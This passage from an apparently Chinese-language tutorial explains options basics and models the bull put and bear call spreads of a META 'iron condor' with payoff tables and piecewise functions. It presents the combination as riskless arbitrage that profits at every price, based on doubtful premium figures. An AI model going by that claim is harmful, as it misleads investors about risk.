class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></td></tr><tr><td>Bull Put Spread</td><td>Bull Put Spread</td><td>看涨看跌价差策略</td><td>下方保护组件</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></td></tr><tr><td>Bear Call Spread</td><td>Bear Call Spread</td><td>看跌看涨价差策略</td><td>上方保护组件</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></td></tr><tr><td>套利策略</td><td>Arbitrage Strategy</td><td>无风险或低风险获利策略</td><td>理论基础</td><td>min <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Π</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td></tr><tr><td>Portfolio Margin</td><td>Portfolio Margin</td><td>基于投资组合风险的保证金制度</td><td>杠杆效应基础</td><td>约$10,000</td></tr><tr><td>盈亏平衡点</td><td>Breakeven Point</td><td>策略收益为零的价格点</td><td>风险管理参考</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Π</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td></tr><tr><td>最大盈利点</td><td>Maximum Profit Point</td><td>策略收益最大的价格点</td><td>收益优化目标</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span></td></tr><tr><td>分段函数</td><td>Piecewise Function</td><td>不同区间有不同表达式的函数</td><td>数学建模工具</td><td>三段式函数</td></tr></tbody></table><h3 id="2-2-期权基本概念与类比分析">2.2 期权基本概念与类比分析</h3><p><strong>期权 = 未来的选择权</strong></p><p>最好的理解方式是用买房来类比：</p><p><strong>场景</strong>：你看中一套房子，现价100万，但你还没决定要不要买<br><strong>担心</strong>：如果房价涨了怎么办？<br><strong>解决方案</strong>：支付5万元&quot;定金&quot;，获得&quot;3个月内以100万购买这套房&quot;的权利</p><p><strong>3个月后会发生什么？</strong></p><ul><li>房价涨到120万 → 你行使权利，以100万买入，实际赚了15万（120-100-5=15万）</li><li>房价跌到80万 → 你放弃权利，损失5万定金，但避免了更大损失</li></ul><p><strong>期权就是这个&quot;定金+购买权利&quot;的金融化</strong></p><pre><code class="highlight mermaid">graph LR    subgraph &quot;期权类比：房产定金模型&quot;        A[&quot;支付5万定金&quot;] --&gt; B[&quot;获得购买权利&lt;br/&gt;3个月内以100万买房&quot;]        B --&gt; C&#123;3个月后房价&#125;        C --&gt;|房价120万| D[&quot;行权买入&lt;br/&gt;净赚15万&quot;]        C --&gt;|房价80万| E[&quot;放弃权利&lt;br/&gt;损失5万定金&quot;]    end    subgraph &quot;期权金融化&quot;        F[&quot;支付权利金&quot;] --&gt; G[&quot;获得期权权利&lt;br/&gt;特定时间以特定价格买卖&quot;]        G --&gt; H&#123;到期日股价&#125;        H --&gt;|有利| I[&quot;行权获利&quot;]        H --&gt;|不利| J[&quot;放弃行权&lt;br/&gt;损失权利金&quot;]    end    A -.类比.-&gt; F    B -.类比.-&gt; G    D -.类比.-&gt; I    E -.类比.-&gt; J    style A fill:#e1f5fe    style F fill:#e1f5fe    style D fill:#c8e6c9    style I fill:#c8e6c9    style E fill:#ffcdd2    style J fill:#ffcdd2</code></pre><h4 id="2-2-2-期权的基本构成要素">2.2.2 期权的基本构成要素</h4><p>每个期权都有四个基本要素：</p><ol><li><strong>标的资产</strong>：房子（期权中通常是股票）</li><li><strong>执行价格</strong>：100万（约定的买卖价格）</li><li><strong>到期时间</strong>：3个月后</li><li><strong>权利金</strong>：5万定金（购买期权需要支付的费用）</li></ol><p><strong>美股期权的标准规格</strong>：</p><ul><li>1手期权 = 100股标的股票</li><li>所有计算都基于这个100股的标准</li><li>权利金价格通常以&quot;每股多少美元&quot;报价，但实际支付时要乘以100</li></ul><h3 id="2-3-Put和Call期权详解">2.3 Put和Call期权详解</h3><h4 id="2-3-1-看涨期权-Call-Option-的数学特征">2.3.1 看涨期权(Call Option)的数学特征</h4><p><strong>Call期权</strong>给你<strong>买入</strong>的权利。</p><p><strong>生活类比</strong>：iPhone预订</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">场景：新iPhone即将发布，你担心抢不到</span><br><span class="line">行动：支付500元预订费，获得&quot;以官方价6000元购买&quot;的权利</span><br><span class="line"></span><br><span class="line">发布后：</span><br><span class="line">- 市场价格8000元（缺货涨价）→ 你以6000元买入，赚1500元</span><br><span class="line">- 市场价格5000元（大量现货）→ 你放弃预订，损失500元</span><br></pre></td></tr></table></figure><h4 id="2-3-2-看跌期权-Put-Option-的数学特征">2.3.2 看跌期权(Put Option)的数学特征</h4><p><strong>Put期权</strong>给你<strong>卖出</strong>的权利。</p><p><strong>生活类比</strong>：汽车保值服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">场景：你花20万买了一台车，担心贬值太快</span><br><span class="line">行动：额外支付2万元购买&quot;保值服务&quot;</span><br><span class="line">内容：无论2年后车况如何，4S店保证以18万回收</span><br><span class="line"></span><br><span class="line">2年后：</span><br><span class="line">- 市场价只值12万 → 你以18万卖给4S店，少亏了6万</span><br><span class="line">- 市场价值22万 → 你放弃保值服务，自行以更高价格卖出</span><br></pre></td></tr></table></figure><p><strong>关键理解</strong>：</p><ul><li><strong>Call期权</strong>在股价上涨时有价值</li><li><strong>Put期权</strong>在股价下跌时有价值</li></ul><pre><code class="highlight mermaid">graph TD    subgraph &quot;期权四种基本头寸&quot;        subgraph &quot;看涨期权 Call&quot;            A[&quot;买入Call&lt;br/&gt;Long Call&lt;br/&gt;看涨+有限亏损&quot;]            B[&quot;卖出Call&lt;br/&gt;Short Call&lt;br/&gt;看跌+有限盈利&quot;]        end        subgraph &quot;看跌期权 Put&quot;            C[&quot;买入Put&lt;br/&gt;Long Put&lt;br/&gt;看跌+有限亏损&quot;]            D[&quot;卖出Put&lt;br/&gt;Short Put&lt;br/&gt;看涨+有限盈利&quot;]        end    end    subgraph &quot;收益特征&quot;        E[&quot;支付权利金&lt;br/&gt;有限亏损&lt;br/&gt;无限盈利潜力&quot;]        F[&quot;收取权利金&lt;br/&gt;有限盈利&lt;br/&gt;可能重大亏损&quot;]    end    A --&gt; E    C --&gt; E    B --&gt; F    D --&gt; F    subgraph &quot;Iron Condor使用&quot;        G[&quot;Bull Put Spread&lt;br/&gt;卖出800 Put + 买入700 Put&quot;]        H[&quot;Bear Call Spread&lt;br/&gt;卖出800 Call + 买入900 Call&quot;]    end    D -.使用.-&gt; G    C -.使用.-&gt; G    B -.使用.-&gt; H    A -.使用.-&gt; H    style A fill:#c8e6c9    style C fill:#c8e6c9    style B fill:#ffecb3    style D fill:#ffecb3    style E fill:#e1f5fe    style F fill:#fff3e0</code></pre><h3 id="2-4-多头与空头头寸的权利义务关系">2.4 多头与空头头寸的权利义务关系</h3><p>这是理解整个策略的核心！</p><h4 id="2-4-1-买入期权-购买保险">2.4.1 买入期权 = 购买保险</h4><p><strong>你的角色</strong>：投保人</p><ul><li><strong>你支付</strong>：权利金（保险费）</li><li><strong>你获得</strong>：保障权利</li><li><strong>你的风险</strong>：有限（最多损失保险费）</li><li><strong>你的收益</strong>：理论上无限</li></ul><h4 id="2-4-2-卖出期权-开保险公司">2.4.2 卖出期权 = 开保险公司</h4><p><strong>你的角色</strong>：保险公司</p><ul><li><strong>你收到</strong>：权利金（保险费）</li><li><strong>你承担</strong>：赔付义务</li><li><strong>你的风险</strong>：较大（可能大额赔付）</li><li><strong>你的收益</strong>：有限（最多赚保险费）</li></ul><p><strong>重要概念</strong>：卖出期权不是卖掉你手里的期权，而是<strong>创造一个新的期权合约</strong>卖给别人！</p><p><strong>深入理解</strong>：</p><ul><li>买入期权 = 购买权利 = 有权利无义务</li><li>卖出期权 = 创造义务 = 有收入有责任</li><li>这就像保险公司卖保险一样，是创造出一份新的承诺合约</li></ul><h4 id="2-4-3-具体例子：卖出Put期权">2.4.3 具体例子：卖出Put期权</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">我卖出&quot;1手META股票800美元Put期权&quot;，收取权利金</span><br><span class="line"></span><br><span class="line">完整承诺：如果有人想以800美元/股的价格把100股META卖给我，我必须全部买下！</span><br><span class="line"></span><br><span class="line">举例（假设权利金为1,200美元）：</span><br><span class="line">- META股价900美元 → 没人会便宜卖给我 → 我净赚1,200美元</span><br><span class="line">- META股价700美元 → 被强制执行：</span><br><span class="line">  * 我必须支付：800美元/股 × 100股 = 80,000美元</span><br><span class="line">  * 得到股票价值：700美元/股 × 100股 = 70,000美元</span><br><span class="line">  * 执行损失：10,000美元，但收了1,200美元权利金</span><br><span class="line">  * 净亏损：8,800美元</span><br></pre></td></tr></table></figure><hr><h2 id="3-策略组件分析：Bull-Put-Spread与Bear-Call-Spread">3. 策略组件分析：Bull Put Spread与Bear Call Spread</h2><p>本章对Iron Condor策略的两个核心组件进行深入的数学建模分析。<strong>核心结论</strong>：Bull Put Spread提供高收益潜力（最高$8,944），Bear Call Spread提供风险对冲（最高$1,108），两者的互补性设计是实现套利的关键。通过构建分段收益函数，我们将证明每个组件在不同价格区间的精确表现，为后续组合分析提供数学基础。</p><p>本节将深入分析Iron Condor策略的两个核心组件：Bull Put Spread（牛市看跌价差）和Bear Call Spread（熊市看涨价差）。这两个策略都基于**价差策略(Spread Strategy)**的基本原理：通过同时买入和卖出不同执行价格的同类期权，创造特定的风险收益结构。</p><p><strong>价差策略的核心逻辑</strong>：不同执行价格的期权是完全不同的金融产品，因此同时买入和卖出不会相互抵消，而是创造价差空间。例如，700美元Put期权与800美元Put期权具有不同的内在价值和时间价值特征，这种差异正是套利机会的源泉。</p><p>通过建立严格的数学模型，我们将证明这两个看似独立的策略如何在组合中形成完美的互补关系，创造全价格区间的盈利结构。</p><h3 id="3-1-Bull-Put-Spread策略的数学建模">3.1 Bull Put Spread策略的数学建模</h3><h4 id="3-1-1-Bull-Put-Spread基本构造">3.1.1 Bull Put Spread基本构造</h4><p><strong>Bull Put Spread</strong>是Iron Condor策略的下方保护组件，单独使用时是一个看涨/中性策略。</p><p><strong>策略组合</strong>：</p><ul><li><strong>卖出</strong>800美元Put期权（Short Put）→ 收钱，承担高价收购义务</li><li><strong>买入</strong>700美元Put期权（Long Put）→ 花钱，获得卖出保护</li></ul><p><strong>策略命名机制</strong>：</p><ul><li><strong>Bull（看涨导向）</strong>：策略收益与标的资产价格上涨或维持高位呈正相关</li><li><strong>Put（看跌期权）</strong>：策略构建基于看跌期权合约的组合</li><li><strong>Spread（价差策略）</strong>：涉及两个不同执行价格期权之间的价差关系</li></ul><h4 id="3-1-2-Bull-Put-Spread盈利机制">3.1.2 Bull Put Spread盈利机制</h4><p><strong>核心预期</strong>：标的资产价格维持在相对高位，避免显著下行波动</p><p><strong>收入来源</strong>：</p><ol><li><strong>立即现金收入</strong>：800 Put的卖价 &gt; 700 Put的买价</li><li><strong>时间价值衰减</strong>：随着时间推移，期权价值自然衰减</li><li><strong>波动率优势</strong>：卖出期权的波动率风险溢价</li></ol><p><strong>最佳情况</strong>：股价保持在≥800美元</p><ul><li>两个期权都不会被执行</li><li>保留全部净权利金收入</li><li>实现最大理论收益</li></ul><p><strong>风险控制机制</strong>：</p><ul><li>700 Put作为&quot;保险&quot;，限制下行损失</li><li>最大损失 = 价差 - 净收入 = (800-700) - 净权利金</li><li>无论股价跌多低，损失都有上限</li></ul><h4 id="3-1-3-Bull-Put-Spread详细计算">3.1.3 Bull Put Spread详细计算</h4><p><strong>实际交易数据（基于原文案例）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">卖出1手META 800 Put：收入约$9,944</span><br><span class="line">买入1手META 700 Put：支出约$1,000</span><br><span class="line">净权利金收入：$8,944</span><br><span class="line">最大潜在损失：(800-700) × 100股 = $10,000</span><br></pre></td></tr></table></figure><p><strong>不同股价情景下的损益分析</strong>：</p><table><thead><tr><th>META最终价格</th><th>Short 800 Put状态</th><th>Long 700 Put状态</th><th>执行损益</th><th>净收益</th></tr></thead><tbody><tr><td>≥$800</td><td>不执行</td><td>不执行</td><td>$0</td><td><strong>+$8,944</strong></td></tr><tr><td>$750</td><td>执行(-$5,000)</td><td>不执行</td><td>-$5,000</td><td><strong>+$3,944</strong></td></tr><tr><td>$700</td><td>执行(-$10,000)</td><td>不执行</td><td>-$10,000</td><td><strong>-$1,056</strong></td></tr><tr><td>≤$700</td><td>执行(-$10,000)</td><td>执行(+$保护)</td><td>-$10,000+保护</td><td><strong>-$1,056</strong></td></tr></tbody></table><p><strong>关键计算示例</strong>（META = $750）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">执行分析：</span><br><span class="line">- 800 Put被执行：必须以$800买入价值$750的股票</span><br><span class="line">- 直接损失：($800 - $750) × 100股 = $5,000</span><br><span class="line">- 700 Put：股价$750 &gt; $700，无价值，不执行</span><br><span class="line"></span><br><span class="line">最终损益：</span><br><span class="line">净权利金 - 执行损失 = $8,944 - $5,000 = +$3,944</span><br></pre></td></tr></table></figure><h4 id="3-1-4-Bull-Put-Spread盈亏曲线分析">3.1.4 Bull Put Spread盈亏曲线分析</h4><p>Bull Put Spread的收益分布特征如图1所示，该图展示了策略在不同股价水平下的收益表现：</p><p><strong>图1：Bull Put Spread盈亏曲线分析</strong><br><em>数据来源：基于META股票$700-$800 Put价差策略的理论计算</em><br><em>横轴：META股票价格（美元/股）；纵轴：策略总收益（美元）</em></p><pre><code class="highlight mermaid">xychart-beta    title &quot;图1: Bull Put Spread盈亏曲线 - 看涨价差策略&quot;    x-axis &quot;META股价($)&quot; [600, 650, 700, 750, 800, 850, 900]    y-axis &quot;收益($)&quot; -2000 --&gt; 10000    line &quot;Bull Put收益&quot; [-1056, -1056, -1056, 3944, 8944, 8944, 8944]</code></pre><p><strong>图1关键信息解读</strong>：</p><ul><li><strong>数据范围</strong>：股价$600-$900，收益-$1,056至+$8,944</li><li><strong>平坦左端</strong>(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">700</span></span></span></span>)：固定最大损失-$1,056，对应Put期权全部被行权</li><li><strong>线性上升段</strong>(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">700</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>)：收益随股价线性增长，斜率为100美元/美元</li><li><strong>平坦右端</strong>(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>)：固定最大收益$8,944，对应Put期权价值归零</li><li><strong>盈亏平衡点</strong>：$710.56，策略由亏转盈的临界价格</li></ul><p>如图1所示，Bull Put Spread展现了价差策略的核心特征：通过承担有限的最大损失，获得确定的盈利机会。这种&quot;有限风险、有限收益&quot;的结构是Iron Condor策略的重要组成部分。</p><h4 id="3-1-5-Bull-Put-Spread数学模型与分段函数">3.1.5 Bull Put Spread数学模型与分段函数</h4><p><strong>分段收益函数</strong>：</p><p>设股价为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>，Bull Put Spread的收益函数为：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">8944</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">71056</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1056</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">800</span><span class="mord text"><span class="mord"> </span><span class="mord cjk_fallback">（最大收益）</span></span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord">700</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">800</span><span class="mord text"><span class="mord"> </span><span class="mord cjk_fallback">（线性递减）</span></span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">700</span><span class="mord text"><span class="mord"> </span><span class="mord cjk_fallback">（最大损失）</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">1.1</span><span class="mclose">)</span></span></span></span></span></p><p><strong>函数特征分析</strong>：</p><ol><li><p><strong>盈亏平衡点计算</strong>：<br>令方程(1.1)中线性部分等于零：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">71056</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">1.2</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">710.56</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">1.3</span><span class="mclose">)</span></span></span></span></span></p><p><strong>盈亏平衡点</strong>：$710.56，如方程(1.3)所示</p></li><li><p><strong>最大收益</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">944</span><span class="mord cjk_fallback">（当</span></span></span></span>S \geq 800$时）</p></li><li><p><strong>最大损失</strong>：-<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">056</span><span class="mord cjk_fallback">（当</span></span></span></span>S \leq 700$时）</p></li><li><p><strong>收益率</strong>：</p><ul><li>成功率：需要股价保持在$710.56以上</li><li>最大收益率：$8,944 / $10,000 = 89.44%（基于风险资本）</li></ul></li></ol><h4 id="3-1-6-Bull-Put-Spread风险收益特征">3.1.6 Bull Put Spread风险收益特征</h4><p><strong>优势</strong>：</p><ul><li>✅ <strong>立即现金收入</strong>：开仓即获得净权利金</li><li>✅ <strong>时间友好</strong>：时间流逝对策略有利</li><li>✅ <strong>有限风险</strong>：最大损失明确且有限</li><li>✅ <strong>高胜率潜力</strong>：只要股价不大幅下跌就盈利</li></ul><p><strong>劣势</strong>：</p><ul><li>❌ <strong>有限收益</strong>：最大收益受权利金限制</li><li>❌ <strong>下行风险</strong>：股价大幅下跌时亏损</li><li>❌ <strong>提前行权风险</strong>：美式期权可能提前执行</li><li>❌ <strong>流动性依赖</strong>：需要良好的期权流动性</li></ul><p><strong>适用市场环境</strong>：</p><ul><li>📈 <strong>牛市或中性市场</strong>：股价稳定上涨或横盘</li><li>📊 <strong>低波动环境</strong>：隐含波动率适中或偏高</li><li>🎯 <strong>明确支撑位</strong>：技术分析显示强支撑在700美元</li></ul><h3 id="3-2-Bear-Call-Spread策略的数学建模">3.2 Bear Call Spread策略的数学建模</h3><h4 id="3-2-1-Bear-Call-Spread基本构造">3.2.1 Bear Call Spread基本构造</h4><p><strong>Bear Call Spread</strong>是Iron Condor策略的上方保护组件，单独使用时是一个看跌/中性策略。</p><p><strong>策略组合</strong>：</p><ul><li><strong>卖出</strong>800美元Call期权（Short Call）→ 收钱，承担低价卖出义务</li><li><strong>买入</strong>900美元Call期权（Long Call）→ 花钱，获得买入保护</li></ul><p><strong>为什么叫Bear Call Spread？</strong></p><ul><li><strong>Bear</strong>：看跌，期待股价不会大幅上涨</li><li><strong>Call</strong>：使用看涨期权构建策略</li><li><strong>Spread</strong>：两个不同执行价格之间的价差</li></ul><h4 id="3-2-2-Bear-Call-Spread盈利逻辑">3.2.2 Bear Call Spread盈利逻辑</h4><p><strong>核心思想</strong>：押注股价不会大幅上涨</p><p><strong>收入来源</strong>：</p><ol><li><strong>立即现金收入</strong>：800 Call的卖价 &gt; 900 Call的买价</li><li><strong>时间价值衰减</strong>：卖出期权的时间价值衰减更快</li><li><strong>波动率收益</strong>：获得波动率风险溢价</li></ol><p><strong>最佳情况</strong>：股价保持在≤800美元</p><ul><li>两个期权都不会被执行</li><li>保留全部净权利金收入</li><li>实现最大理论收益</li></ul><p><strong>风险控制机制</strong>：</p><ul><li>900 Call作为&quot;保护&quot;，限制上行损失</li><li>最大损失 = 价差 - 净收入 = (900-800) - 净权利金</li><li>无论股价涨多高，损失都有上限</li></ul><h4 id="3-2-3-Bear-Call-Spread详细计算">3.2.3 Bear Call Spread详细计算</h4><p><strong>实际交易数据（基于原文案例）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">卖出1手META 800 Call：收入约$2,108</span><br><span class="line">买入1手META 900 Call：支出约$1,000</span><br><span class="line">净权利金收入：$1,108</span><br><span class="line">最大潜在损失：(900-800) × 100股 = 